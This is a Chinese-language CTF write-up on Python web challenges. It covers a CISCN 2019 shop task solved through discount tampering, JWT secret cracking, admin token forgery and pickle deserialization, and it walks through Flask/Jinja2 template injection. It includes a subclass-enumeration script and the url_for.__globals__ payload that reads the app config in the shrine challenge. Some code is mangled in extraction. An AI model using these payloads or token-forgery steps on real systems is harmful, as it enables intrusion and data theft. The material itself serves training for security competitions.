ctf题型分类:
1.CTF—Python—支付逻辑&JWT&反序列化:
题目:2019 CISCN 华北赛区Day1 Web2(全国大学生信息安全竞赛)
先写个爆破请求脚本,爬取请求到内容页面哪个存在lv6图片,得到在181页:
或者这个脚本,都可以:
import requests
url = "http://web44.buuoj.cn/"
for i in range(1, 2000):
r = requests.get(url + "shop?page=" + str(i))
if r.text.find("lv6.png") != -1:
print(i)
break
逻辑漏洞,前端修改折扣值以可以购买。提示不再是不可购买,而是需要admin用户购买,涉及到越权漏洞,此时能想到sql注入、弱口令登录admin或者垂直越权admin,此处用到的是cookie内的jwt令牌解密(https://github.com/brendan-rius/c-jwt-cracker 破解出秘钥),利用jwt.io网站解密jwt可以看到我们的用户名:
利用爆破出的秘钥加上修改username为admin加密后就能伪造成admin用户,根据提示下载源码,代码审计,需要本身熟悉一些python漏洞的原理、关键字,此处利用的是python反序列化漏洞,构造脚本读取flag:
运行后得到payoad,最后将删除hidden,弄出隐藏的输入框,提交生成的payload即可得到flag。
2.CTF—Python—Flask&jinja2&SSTI模板注入:
参考:https://xz.aliyun.com/t/7746
https://xz.aliyun.com/t/3569
https://www.wangan.com/articles/1031
出现原因也是基于Flask框架(将用户输入的字符串渲染进模板中,若是恶意输入就会导致代码注入)
类似这样的代码就容易被利用:
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/' )
def index(name):
template = 'Hello {}!
'.format(name)
return render_template_string(template)
if __name__ == '__main__':
app.run()
最简单的方式就是直接输入@app.route('/
规定的规则,来测试存在不存在ssti:
按这张图可以测试出具体是什么模板引擎:
常见的payload与绕过可以在那篇文章上看到,分py2与py3环境,还可以探针并利用被攻击者主机上的python os类执行系统命令,file类读取文件等等操作:
找可利用的类:
from flask import Flask,request
from jinja2 import Template
search = 'eval'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
工具:tplmap.py(一般无法通杀,需要二次开发来绕过新的规则)
例题:[WesternCTF2018] shrine
url拼接“/”根目录显示源码,“/shrine”目录执行下面代码。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
没有参数可以利用时就用 * 代替,直接用tplmap工具跑不出来,源码也能看到有过滤,无法直接利用,对于ssti过滤那篇文章也略有提到,专业名词叫ssti沙盒逃逸,这题绕过滤是一个思路。
还有另一个思路,利用内置函数url_for()函数构造指定函数的url:
先/shrine/{{url_for.__globals__}}
查看所有全局变量:
最后在/shrine/{{url_for.__globals__['current_app'].config }}
读取到flag
3.Python Web之flask session&格式化字符串漏洞:
参考:https://xz.aliyun.com/t/3569
根据文章可以归结为四种:
总结:
参考:
https://github.com/mguang323/CTFd
https://github.com/CTFTraining
https://github.com/epinna/tplmap/
https://github.com/bit4woo/python_sec
https://github.com/brendan-rius/c-jwt-cracker
https://xz.aliyun.com/t/7746
https://xz.aliyun.com/t/3569